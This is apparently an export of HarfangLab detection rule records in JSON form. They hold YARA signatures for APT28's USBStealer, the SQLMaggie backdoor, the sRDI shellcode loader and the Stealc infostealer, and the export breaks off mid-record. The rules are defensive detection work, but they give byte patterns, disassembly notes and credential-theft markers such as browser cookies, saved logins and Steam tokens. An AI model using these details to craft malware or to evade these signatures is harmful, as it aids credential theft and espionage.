+    "https://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/\nhttps://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
+  ],
+  "name": "spy_usb.yar",
+  "content": "rule spy_usb_connection {\n    meta:\n        title = \"Spy USB Connection\"\n        id = \"4d54137e-67f3-4d76-ab8f-cdcb85d73484\"\n        description = \"Detects the Spy USB malware, known as Win32/USBStealer, used by the Sednit espionage group (APT28).\\nIt targets air-gapped networks by exploiting removable drives. The malware spreads between Internet-connected computers and isolated machines by using USB drives, which act as a bridge for exfiltrating sensitive files. It ensures stealth by hiding files and monitoring when the USB drives are inserted into vulnerable systems, allowing the attacker to collect cryptographic files and other important data without detection.\"\n        date = \"2024-07-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1120;attack.collection;attack.t1025;attack.command_and_control;attack.t1092\"\n        classification = \"Windows.Generic.SpyUsbConnection\"\n        context = \"process,memory,thread,file.pe\"\n        references = \"https://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/\\nhttps://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f\n        // 4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3\n        // b1f2d461856bb6f2760785ee1af1a33c71f84986edf7322d3e9bd974ca95f92d\n        // 44d3f3ed5571a723e8dd0dc5bc9581d30e285c012e65c4ca6b58931c527ff5ba\n        // 72e40f60f5cf61bc47e101eced7b4935a80f1f210203e08651567fdec78dc646\n\n        $s_USB_wait_for_usb_device_connection = {\n            2D 17 02 00 00              // sub     eax, 217h WM_DEVICECHANGE\n            [0-10]                      // push    esi\n                                        // mov     esi, [ebp+lParam]\n                                        // push    edi\n                                        // mov     edi, [ebp+wParam]\n            75 ??                       // jnz     short loc_402258\n            81 [1-2] 00 80 00 00        // cmp     edi, 8000h DBT_DEVICEARRIVAL\n            75 ??                       // jnz     short loc_402258\n            83 ?? ?? 02                 // cmp     dword ptr [esi+4], 2 DBT_DEVTYP_VOLUME\n            75 ??                       // jnz     short loc_402258\n            [4]                         // movzx   eax, word ptr [esi+10h]\n            [2] 01 [0-1]                // cmp     eax, 1\n            74 ??                       // jz      short loc_402258\n            [2] 02 [0-1]                // cmp     eax, 2\n            74 ??                       // jz      short loc_402258\n        }\n        $s_USB_GUID_DEVINTERFACE_DISK = { 07 63 F5 53 BF B6 D0 11 94 F2 00 A0 C9 1E FB 8B }\n\n    condition:\n        2 of ($s_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "spy_usb_connection"
+  ],
+  "rule_creation_date": "2024-07-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.SpyUsbConnection"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1025",
+    "attack.t1120",
+    "attack.t1092"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sqlmaggie_mssql_backdoor_x64_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574930Z",
+  "creation_date": "2026-03-23T11:46:25.574932Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574938Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/\nhttps://attack.mitre.org/techniques/T1574/"
+  ],
+  "name": "sqlmaggie_mssql_backdoor_x64.yar",
+  "content": "rule sqlmaggie_mssql_backdoor_6ea9a5b0a2c1 {\n    meta:\n        title = \"SQLMaggie Backdoor (6ea9a5b0a2c1)\"\n        id = \"71e5ba4a-4576-4548-af8b-6ea9a5b0a2c1\"\n        description = \"Detects the 64-bit version of the SQLMaggie backdoor associated with the Chinese-speaking threat actor named WIP-19.\\nSQLMaggie is a DLL used in Microsoft SQL Server to extend stored procedure functionality. This backdoor, developed by WinEggDrop, allows attackers to register the DLL and gain control over the affected machine. It is often used for internal reconnaissance and lateral movement within a network.\\nIt is recommended to isolate the affected machine and analyze network traffic for signs of command and control communication.\"\n        references = \"https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/\\nhttps://attack.mitre.org/techniques/T1574/\"\n        date = \"2022-11-24\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1574;attack.defense_evasion;attack.t1027;attack.t1140;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Backdoor.SQLMaggie\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 9f1fef88c8280f937de5e48226581b65cd2a2dafa284644053c89e7d425bc6a8\n        // e6ab854cd19b43084920a2d422301d4cfab6a3efbde3a6d7653275ce4786dd26\n        // eeb793d904be48934d728027dc9d96e3feea3ded1e97d7eceae3c19887bf8a38\n        // c18beccc038e014fb97600ec2fc3bfffa463310483b1d13ccfd23a749bb6bb60\n        // 04fbe5f96118f9a2abae85ef15cf0b8e24041343e3ff8480fcb7d367bfaf29b9\n        // a375ae44c8ecb158895356d1519fe374dc99c4c6b13f826529c71fb1d47095c3\n\n        $critical = \"By WinEggDrop\" ascii\n\n        $mozilla_string = \"Mozilla/4.0 (compatible)\" ascii\n\n        $proxy_bypass_1 = {\n            45 33 C9                      // xor     r9d, r9d\n            45 33 C0                      // xor     r8d, r8d        ; lpszProxy\n            44 (89|39) 6C 24 ??           // mov     [rsp+26D8h+dwFlags], r13d ; dwFlags\n            48 8D 0D ?? ?? ?? ??          // lea     rcx, szAgent    ; \"Mozilla/4.0 (compatible)\"\n            44 (89|39) 6C 24 ??           // cmp     [rsp+26D8h+var_2668], r13d\n        }\n\n        $proxy_bypass_2 = {\n            45 33 C9                      // xor     r9d, r9d\n            45 33 C0                      // xor     r8d, r8d        ; lpszProxy\n            44 (89|39) 6C 24 ??           // mov     [rsp+26D8h+dwFlags], r13d ; dwFlags\n            44 (89|39) 6C 24 ??           // cmp     [rsp+26D8h+var_2668], r13d\n            48 8D 0D ?? ?? ?? ??          // lea     rcx, szAgent    ; \"Mozilla/4.0 (compatible)\"\n        }\n\n        $proxy_bypass_3 = {\n            45 33 C9                      // xor     r9d, r9d\n            45 33 C0                      // xor     r8d, r8d        ; lpszProxy\n            48 8D 0D ?? ?? ?? ??          // lea     rcx, szAgent    ; \"Mozilla/4.0 (compatible)\"\n            44 (89|39) 6C 24 ??           // mov     [rsp+26D8h+dwFlags], r13d ; dwFlags\n            44 (89|39) 6C 24 ??           // cmp     [rsp+26D8h+var_2668], r13d\n        }\n\n        $network_conn_1 = {\n            4C 8B C7                      // mov     r8, rdi         ; Size\n            33 D2                         // xor     edx, edx        ; Val\n            C7 44 24 48 50 00 00 00       // mov     [rsp+26D8h+var_2690], 50h ; 'P'\n            44 88 AC 24 80 02 00 00       // mov     [rsp+26D8h+Source], r13b\n            E8 ?? ?? ?? ??                // call    memset\n        }\n\n        $network_conn_2 = {\n            33 D2                         // xor     edx, edx        ; Val\n            41 B8 07 02 00 00             // mov     r8d, 207h       ; Size\n            49 8B ED                      // mov     rbp, r13\n            49 8B F5                      // mov     rsi, r13\n            4C 89 6C 24 50                // mov     [rsp+26D8h+hFile], r13\n        }\n\n        $network_conn_3 = {\n            48 89 84 24 ?? ?? ?? ??       // mov     [rsp+26D8h+var_28], rax\n            45 33 ED                      // xor     r13d, r13d\n            48 8B D9                      // mov     rbx, rcx\n            BF 03 01 00 00                // mov     edi, 103h\n            48 8D 8C 24 ?? ?? ?? ??       // lea     rcx, [rsp+26D8h+var_2137] ; void *\n            33 D2                         // xor     edx, edx        ; Val\n        }\n\n\n    condition:\n        uint16(0) == 0x5a4d and (\n            ($critical)\n            or (all of ($network_conn_*) and (1 of ($proxy_bypass_*) and $mozilla_string))\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sqlmaggie_mssql_backdoor_6ea9a5b0a2c1"
+  ],
+  "rule_creation_date": "2022-11-24",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.SQLMaggie"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071.001",
+    "attack.t1574",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sqlmaggie_mssql_backdoor_x86_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574827Z",
+  "creation_date": "2026-03-23T11:46:25.574829Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574834Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1574/\nhttps://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/"
+  ],
+  "name": "sqlmaggie_mssql_backdoor_x86.yar",
+  "content": "rule sqlmaggie_mssql_backdoor_022f7a7eb068 {\n    meta:\n        title = \"SQLMaggie Backdoor (022f7a7eb068)\"\n        id = \"233b0bc8-e696-4205-b070-022f7a7eb068\"\n        description = \"Detects the x86 variant of the SQLMaggie backdoor associated with WIP-19, developed by WinEggDrop.\\nSQLMaggie is a DLL that provides extended stored procedure functions for MSSQL servers. Once registered, it allows attackers to gain control of the machine and conduct internal reconnaissance.\"\n        references = \"https://attack.mitre.org/techniques/T1574/\\nhttps://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/\"\n        date = \"2022-11-24\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1574;attack.defense_evasion;attack.t1027;attack.t1140;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Backdoor.SQLMaggie\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c8704751e7af3d63bf0811049a75e9a81233f038695c3f97d3c0bfc465d7d6b4\n        // 2d29776b4e3809fd5dd7bfc03f28ecc22a4260f1777e0be82b5f030573e27765\n        // 8a5f10ababc234288f68243a3bc7c3349884e5f236a150ae134bb923db60fbd2\n        // 214a9f7c0b066857f00a7eb5dc6a7ae2616c764596905bcaaf641e32db862260\n        // 358247e97e0758b5d211a1691800276ec3b8fed7dff575986d4b3ed0f426a113\n        // c8704751e7af3d63bf0811049a75e9a81233f038695c3f97d3c0bfc465d7d6b4\n\n        $critical = \"By WinEggDrop\" ascii\n\n        $mozilla_string = \"Mozilla/4.0 (compatible)\" ascii\n\n        $proxy_bypass = {\n            68 ?? ?? ?? ??                // push    offset szAgent  ; \"Mozilla/4.0 (compatible)\"\n            FF ?? ?? ?? ?? ??             // call    ds:InternetOpenA\n            89 45 9C                      // mov     [ebp+25CCh+hInternet], eax\n            3B C3                         // cmp     eax, ebx\n        }\n\n        $network_conn_1 = {\n            57                            // push    edi             ; Size\n            8D 85 C5 24 00 00             // lea     eax, [ebp+25CCh+var_107]\n            53                            // push    ebx             ; Val\n            50                            // push    eax             ; void *\n            C7 45 80 50 00 00 00          // mov     dword ptr [ebp+25CCh+nServerPort], 50h ; 'P'\n            88 9D C4 24 00 00             // mov     [ebp+25CCh+Source], bl\n            E8 ?? ?? ?? ??                // call    _memset\n        }\n\n        $network_conn_2 = {\n            83 4D A4 FF                   // or      [ebp+25CCh+hFile], 0FFFFFFFFh\n            68 07 02 00 00                // push    207h            ; Size\n            8D 85 BD ?? ?? ??             // lea     eax, [ebp+25CCh+var_30F]\n            53                            // push    ebx             ; Val\n            50                            // push    eax             ; void *\n        }\n\n        $network_conn_3 = {\n            53                            // push    ebx\n            56                            // push    esi\n            8B B5 ?? ?? ?? ??             // mov     esi, [ebp+25CCh+lpThreadParameter]\n            57                            // push    edi\n            33 DB                         // xor     ebx, ebx\n            BF 03 01 00 00                // mov     edi, 103h\n            57                            // push    edi             ; Size\n            8D 85 ?? ?? ?? ??             // lea     eax, [ebp+25CCh+var_413]\n            53                            // push    ebx             ; Val\n            50                            // push    eax             ; void *\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and (\n            ($critical)\n            or ((all of ($network_conn_*)) and $proxy_bypass and $mozilla_string)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sqlmaggie_mssql_backdoor_022f7a7eb068"
+  ],
+  "rule_creation_date": "2022-11-24",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.SQLMaggie"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071.001",
+    "attack.t1574",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-srdi_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582781Z",
+  "creation_date": "2026-03-23T11:46:25.582785Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582791Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/monoxgas/sRDI\nhttps://www.elastic.co/fr/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack"
+  ],
+  "name": "srdi_loader.yar",
+  "content": "rule srdi_loader {\n    meta:\n        title = \"sRDI Shellcode Loader\"\n        id = \"fcdba4b4-7ca6-4c9b-bf84-db7b66f9f1dd\"\n        description = \"Detects the sRDI shellcode loader, a tool used to generate shellcodes.\\nsRDI is a shellcode loader designed to convert DLL files into position-independent shellcode.\\nIt functions as a fully-featured PE (Portable Executable) loader, supporting proper section permissions, TLS callbacks, and various sanity checks.\\nThis tool is capable of executing shellcode directly in memory, making it particularly useful for both legitimate reverse engineering purposes and malicious activities.\\nsRDI's design allows it to bypass certain security measures by avoiding traditional file-based payloads.\"\n        references = \"https://github.com/monoxgas/sRDI\\nhttps://www.elastic.co/fr/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack\"\n        date = \"2023-03-31\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.privilege_escalation;attack.t1055.001;attack.t1055.002\"\n        classification = \"Windows.Loader.sRDI\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 6ce5b6b4cdd6290d396465a1624d489c7afd2259a4d69b73c6b0ba0e5ad4e4ad\n\n        $srdi_x64_v1 = {\n            E8 00 00 00 00           // call    $+5\n            59                       // pop     rcx\n            49 89 C8                 // mov     r8, rcx\n            BA ?? ?? ?? ??           // mov     edx, 10h\n            49 81 ?? ?? ?? ?? ??     // add     r8, 2B2414h\n            41 B9 ?? ?? ?? ??        // mov     r9d, 4\n            56                       // push    rsi\n            48 89 E6                 // mov     rsi, rsp\n            48 83 E4 F0              // and     rsp, 0FFFFFFFFFFFFFFF0h\n            48 83 EC 30              // sub     rsp, 30h\n            48 89 4C 24 28           // mov     [rsp+38h+var_10], rcx\n            48 81 ?? ?? ?? ?? ??     // add     rcx, (offset unk_B19 - offset loc_5)\n            C7 44 24 20 ?? ?? ?? ??  // mov     [rsp+38h+var_18], 0\n            E8 ?? 00 00 00           // call    sub_45\n            48 89 F4                 // mov     rsp, rsi\n            5E                       // pop     rsi\n            C3                       // retn\n        }\n\n        $srdi_x64_v2 = {\n            E8 00 00 00 00           // call    $+5\n            59                       // pop     rcx\n            49 89 C8                 // mov     r8, rcx\n            48 81 ?? ?? ?? ?? ??     // add     rcx, <size>\n            BA ?? ?? ?? ??           // mov     edx, 10h\n            49 81 ?? ?? ?? ?? ??     // add     r8, 2B2414h\n            41 B9 ?? ?? ?? ??        // mov     r9d, 4\n            56                       // push    rsi\n            48 89 E6                 // mov     rsi, rsp\n            48 83 E4 F0              // and     rsp, 0FFFFFFFFFFFFFFF0h\n            48 83 EC 30              // sub     rsp, 30h\n            C7 44 24 20 ?? ?? ?? ??  // mov     [rsp+38h+var_18], 0\n            E8 ?? 00 00 00           // call    sub_45\n            48 89 F4                 // mov     rsp, rsi\n            5E                       // pop     rsi\n            C3                       // retn\n        }\n\n        $srdi_x64_v3 = {\n            E8 00 00 00 00           // call    $+5\n            59                       // pop     rcx\n            49 C2 ?? ??              // retnq   0C389h\n            88 ?? C2                 // mov     [rax-3Eh], cl\n            81 C3 ?? ?? ?? ??        // add     ebx, 65881h\n            00 C2                    // add     dl, al\n            BA ?? ?? ?? ??           // mov     edx, 0B4C39AC3h\n            58                       // pop     rax\n            C3                       // retn\n        }\n\n        // Exclusion for McAfee\n        $mcafee1 = \"EpMPApi.dll\" wide fullword\n        $mcafee2 = \"EpMPThe.dll\" wide fullword\n        // \\solution\\build\\x64\\Release\\mfeepmpk_regular_payload.pdb\n        //$mcafee3 = \"\\\\solution\\\\build\\\\x64\\\\Release\\\\mfeepmpk_regular_payload.pdb\" ascii\n        $mcafee3 = \"mfeepmpk\" ascii\n\n        $inj_thread_mcafee = \"C:\\\\Program Files\\\\McAfee\\\\Endpoint Security\\\\Threat Prevention\\\\Ips\\\\EpMPApi.dll\" wide\n        $str_mcafee_func_1 = \"Initialize\" ascii\n        $str_mcafee_func_2 = \"Finalize\" ascii\n\n    condition:\n        1 of ($srdi*) and not (all of ($mcafee*) or ($inj_thread_mcafee and 1 of ($str_mcafee_func_*)))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "srdi_loader"
+  ],
+  "rule_creation_date": "2023-03-31",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.sRDI"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1055.002",
+    "attack.t1055.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-stealc_stealer_1f199c029af8_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.589547Z",
+  "creation_date": "2026-03-23T11:46:25.589549Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.589555Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/\nhttps://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/\nhttps://www.morphisec.com/blog/morphisec-thwarts-russian-linked-stealc-v2-campaign-targeting-blender-users-via-malicious-blend-files/\nhttps://attack.mitre.org/techniques/T1555/"
+  ],
+  "name": "stealc_stealer_1f199c029af8.yar",
+  "content": "rule stealc_stealer_1f199c029af8 {\n    meta:\n        title = \"Stealc Stealer (1f199c029af8)\"\n        id = \"0d530a83-d23e-477b-8b52-1f199c029af8\"\n        description = \"Detects Stealc Infostealer.\\nStealc is an information-stealing malware sold as Malware-as-a-Service that targets sensitive data from web browsers, cryptocurrency wallets, and various applications, drawing inspiration from established stealers like Vidar and Raccoon.\\nIt is recommended to verify the process for its legitimacy and establish the origin of the executable.\"\n        references = \"https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/\\nhttps://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/\\nhttps://www.morphisec.com/blog/morphisec-thwarts-russian-linked-stealc-v2-campaign-targeting-blender-users-via-malicious-blend-files/\\nhttps://attack.mitre.org/techniques/T1555/\"\n        date = \"2025-11-28\"\n        modified = \"2025-12-09\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555.003\"\n        classification = \"Windows.Stealer.Stealc\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a9f542ca311da1aa2b06f2fb9d5f057a957ef7e668f7a4f282590a17ffba64ba\n        // a701b7e680b278806721030b625b715c5912a9474acc09fb6a323d528509a75b\n\n        $a1 = \"logins.json\" ascii fullword\n        $a2 = \"passwords.txt\" ascii fullword\n        $a3 = \"Process List:\" ascii fullword\n        $a4 = \"start_path\" ascii fullword\n        $a5 = \"encrypted_key\" ascii fullword\n        $a6 = \"SteamPath\" ascii fullword\n        $a7 = \"system_info.txt\" ascii fullword\n        $a8 = \"C:\\\\ProgramData\\\\\" ascii fullword\n\n        $b1 = \"steal_outlook\" ascii fullword\n        $b2 = \"parse_cookies\" ascii fullword\n        $b3 = \"parse_logins\" ascii fullword\n        $b4 = \"take_screenshot\" ascii fullword\n        $b5 = \"steal_steam\" ascii fullword\n        $b6 = \"parse_webdata\" ascii fullword\n\n        $c1 = \"- HWID:\" ascii\n        $c2 = \"- Local Time:\" ascii\n        $c3 = \"- IP: IP?\" ascii\n        $c4 = \"- Country: ISO?\\\\n\\\\nSystem Summary:\" ascii\n\n    condition:\n        (4 of ($a*) and 3 of ($b*)) or 3 of ($c*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "stealc_stealer_1f199c029af8"
+  ],
+  "rule_creation_date": "2025-11-28",
+  "rule_modified_date": "2025-12-09",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Stealc"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-stealc_stealer_b5a4c2aea9fe_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.589577Z",
+  "creation_date": "2026-03-23T11:46:25.589579Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.589585Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/\nhttps://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/\nhttps://attack.mitre.org/techniques/T1555/"
+  ],
+  "name": "stealc_stealer_b5a4c2aea9fe.yar",
+  "content": "rule stealc_stealer_b5a4c2aea9fe {\n    meta:\n        title = \"Stealc Stealer (b5a4c2aea9fe)\"\n        id = \"a30b8945-b463-4775-9911-b5a4c2aea9fe\"\n        description = \"Detects Stealc Infostealer.\\nStealc is an information-stealing malware sold as Malware-as-a-Service that targets sensitive data from web browsers, cryptocurrency wallets, and various applications, drawing inspiration from established stealers like Vidar and Raccoon.\\nIt is recommended to verify the process for its legitimacy and establish the origin of the executable.\"\n        references = \"https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/\\nhttps://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/\\nhttps://attack.mitre.org/techniques/T1555/\"\n        date = \"2024-10-28\"\n        modified = \"2025-12-09\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555.003\"\n        classification = \"Windows.Stealer.Stealc\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1c3199a7e3bd6da6647a260d168700d456402a9d751bc26b5a8e1874a035298b\n        // a001a71205b22e3bb39a9e586bb587b95f459c04eb1ef43d08e4420d1760b878\n        // ddc8b1f032cf7b0a6dcbb64557ebdeaee842417f0f862f4bf0e0554596e789b7\n        // 1c235a0fa8e6f71633f46d0f4e0825d214a10fea93cb500fdaa78c4a08829121\n\n        $a  = \"ChromeFuckNewCookies\" ascii fullword\n\n        $b1 = \"steam_tokens.txt\" ascii 